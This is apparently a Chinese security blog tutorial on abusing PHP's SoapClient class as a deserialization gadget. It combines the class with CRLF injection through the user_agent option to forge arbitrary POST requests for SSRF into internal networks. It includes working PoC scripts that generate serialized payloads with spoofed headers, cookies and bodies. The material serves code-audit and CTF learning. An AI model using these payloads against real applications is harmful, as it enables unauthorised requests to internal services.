php SoapClient类

如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何?这个时候可以找到php内置类来进行反序列化。

什么是Soap

SOAP是webService三要素(SOAP、WSDL、UDDI)之一:

  • WSDL 用来描述如何访问具体的接口。
  • UDDI用来管理,分发,查询webService。
  • SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。 其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

PHP中的SoapClient类

PHP 的 SOAP 扩展可以用来提供和使用 Web Services,这个扩展实现了6个类,其中的SoapClient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类下也是有反序列化中常常用到的__call()魔术方法。

该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url,如下

<?php
$a = new SoapClient(null, array('location' => "http://xxx.xxx.xxx",
                                 'uri'      =>  "123"));
echo serialize($a);
?>

当把上述脚本得到的序列化串进行反序列化(unserialize),并执行一个SoapClient没有的成员函数时,会自动调用该类的_Call方法,然后向targeturl发送一个soap请求.

CRLF Injection

CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)。在HTTP协议中,HTTP Header间是用一个CRLF分隔的,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS

SSRF+CRLF攻击内网

实际上很多时候都需要这两个漏洞配合在一起使用,当我们我们可以从外网调用到soap的api,而攻击目标是在内网,那么就可以利用SoapClient进行SSRF攻击内网,然后配合CRLF构造POST请求增加我们的攻击面。

SoapClient类的options参数中还有一个选项为user_agent,运行我们自己设置User-Agent的值。

当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type为和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送post请求最关键的地方。

最后给出wupco师傅的生成任意POST报文的POC:

<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: xxxx=1234'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

ps:Soap仅限于http/https协议,wupcoo的poc只适用于通过浏览器地址把payload发送过去

如果不是通过浏览器发送payload,直接new SoapCilent类的话,要用下面这种payload

<?php
$target = 'http://121.196.193.160:8080/bbb.php';
$post_string = 'a=b&flag=aaa';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>"stao\r\n".
                                                    "Content-Type: application/x-www-form-urlencoded\r\n".
                                                    "Cookie: xxxx=1234\r\n".
                                                    "Content-Length: ".(string)strlen($post_string)."\r\n\r\n".
                                                    $post_string,"uri"  => "aaab"));

$aaa = serialize($b);

echo $aaa;
$c=unserialize($aaa);
$c->ca();
?>

\r\n 必须放在双引号中,php中,双引号中的变量($var)和特殊字符(\r\n之类)会被转义,单引号中的内容不会被转义

本地测试

<?php
$a = new SoapClient(null,array('uri'=>'123', 'location'=>'http://121.196.193.xxx:80'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
?>

参考

https://www.cnblogs.com/iamstudy/articles/unserializeinphpinnerclass.html#label20

留下评论

粤ICP备20010650号